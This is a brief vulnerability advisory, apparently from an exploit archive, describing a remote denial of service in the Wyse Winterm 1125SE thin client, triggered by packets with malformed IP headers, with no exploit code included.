Wyse Winterm 1125SE 4.2/4.4 - Remote Denial of Service

// source: https://www.securityfocus.com/bid/14536/info

Winterm 1125SE is affected by a remote denial of service vulnerability. This issue is due to the application failing to handle exceptional conditions in a proper manner.

The problem occurs when processing packets with malformed IP headers. A successful attack causes the application to crash, denying service to legitimate users.
